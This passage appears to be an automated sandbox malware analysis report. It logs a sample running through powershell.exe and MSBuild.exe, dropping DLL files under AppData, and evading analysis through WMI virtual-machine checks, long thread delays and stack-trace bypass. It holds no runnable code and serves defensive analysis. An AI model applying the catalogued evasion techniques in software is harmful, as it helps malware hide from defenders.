Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\cmd.exe

API/Special instruction interceptor: Address: 6C643B54

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1130000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1038	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8840	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 9674	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\HZ_service\msvcr90.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\bihsngcs	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MaxiAir\msvcr90.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8044	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5416	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5416	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -37802s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5416	Thread sleep time: -59872s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -45885s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5416	Thread sleep time: -59761s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -32275s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5416	Thread sleep time: -59649s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -43081s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -37974s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5416	Thread sleep time: -59538s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5416	Thread sleep time: -59425s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -32103s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -40457s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 5416	Thread sleep time: -59298s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -48888s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -42118s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -51646s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -57800s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -32091s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -36270s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -36849s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -46483s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -48568s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -55094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -41319s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -30782s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -45916s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -47976s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -40544s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -49686s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -36100s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -45264s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -37726s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -55993s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -39893s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -59286s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -40744s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -32322s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 6484	Thread sleep time: -58250s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 37802	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59872	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 45885	Jump to behavior
